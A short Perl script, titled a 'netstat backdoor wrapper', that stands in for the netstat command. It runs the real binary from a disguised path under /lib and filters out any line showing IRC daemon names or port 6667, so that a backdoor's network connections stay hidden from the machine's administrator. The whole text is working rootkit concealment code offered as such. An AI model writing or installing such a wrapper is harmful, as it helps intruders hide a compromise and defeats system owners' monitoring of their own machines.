netstat backdoor wrapper

#!/usr/bin/env perl
my $a  = '/lib/libnetstat.so';
my $b  = 'ircd\|ircu-3\|6667';
system "$a @ARGV 2>&1 | grep -v \"$b\" 2>/dev/null";